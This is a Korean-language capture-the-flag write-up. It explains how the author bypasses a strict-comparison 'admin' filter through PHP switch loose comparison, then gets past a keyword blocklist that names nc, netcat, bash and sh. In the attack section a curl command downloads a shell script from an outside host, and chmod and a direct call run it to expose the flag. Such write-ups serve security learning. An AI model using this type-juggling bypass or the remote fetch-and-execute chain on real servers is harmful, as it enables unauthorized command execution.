Switching Commnad
0. Description
Not Friendly service… Can you switching the command?
1. Analysis
페이지에 접속하면 Username을 입력할 수 있는 화면이 보인다.
다운로드 받은 코드를 확인해보면 사용자 입력값에 대해 json_decode()를 통해 json 데이터를 파싱한다.
Username이 admin일 경우 Admin Session을 가지고 test.php로 이동한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#index.php
if ($_SERVER["REQUEST_METHOD"]=="POST"){
$data = json_decode($_POST["username"]);
if ($data === null) {
exit("Failed to parse JSON data");
}
$username = $data->username;
if($username === "admin" ){
exit("no hack");
}
switch($username){
case "admin":
$user = "admin";
$password = "***REDACTED***";
$stmt = $conn -> prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt -> bind_param("ss",$user,$password);
$stmt -> execute();
$result = $stmt -> get_result();
if ($result -> num_rows == 1){
$_SESSION["auth"] = "admin";
header("Location: test.php");
} else {
$message = "Something wrong...";
}
break;
default:
$_SESSION["auth"] = "guest";
header("Location: test.php");
}
}
첫번째 문제는 switch 문에서 case “admin”으로 진입해 admin 세션을 할당받아야하는데 “admin” 문자열은 필터링이 되고있다.
admin 필터링에서는 ===(strict comparision)을 사용하여 자료형까지 같은지 확인하고있다.
하지만 switch/case 문에서는 아래 처럼 loose comparision을 사용한다고 되어있다.
이 부분을 이용하여 username={"username":true}를 입력하면 ”admin” 필터링은 우회하며, case “admin”: 문은 통과할 수 있다.
다음은 test.php의 내용을 통해 flag를 획득해야한다. 아래는 test.php의 내용이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
#test.php
$pattern = '/\b(flag|nc|netcat|bin|bash|rm|sh)\b/i';
if($_SESSION["auth"] === "admin"){
$command = isset($_GET["cmd"]) ? $_GET["cmd"] : "ls";
$sanitized_command = str_replace("\n","",$command);
if (preg_match($pattern, $sanitized_command)){
exit("No hack");
}
$resulttt = shell_exec(escapeshellcmd($sanitized_command));
}
cmd 파라미터를 통해 입력 받은 값을 shell_exec()로 실행한다.
과정에서 특정 문자열 패턴과 escapeshellcmd()를 통해 Sanitize를 수행한다.
결국 cmd는 서버 내부에서 실행되는 명령으로 다양한 서버 명령을 사용해볼 수 있다.
하지만 test.php에서 $result 변수는 화면에 출력이 되도록 되어있지만, $resulttt는 출력이 되지 않아 단순히 플래그를 실행하여 값을 확인할 수는 없다.
wget 또는 curl을 통해 원격지에서 파일을 받을 수 있는지 테스트해보니 curl을 통해 원격지 파일을 다운로드 받을 수 있음을 확인했다.
PHP 웹쉘 또는 /flag를 실행하여 pattern에 걸리지 않는 이름으로 파일을 생성하여 접근해보는 방법이 있을거같다.
2. Attack
후자로 진행을 해보면 아래 처럼 플래그를 획득할 수 있다.
1
2
3
4
#Filename:heogi
#!/bin/bash
/flag > te.ttt
1
2
3
4
1. GET /test.php?cmd=curl ctf.heogi.com/heogi -o heogi
2. GET /test.php?cmd=chmod 777 heogi
3. GET /test.php?cmd=/var/www/html/heogi
4. GET /te.ttt




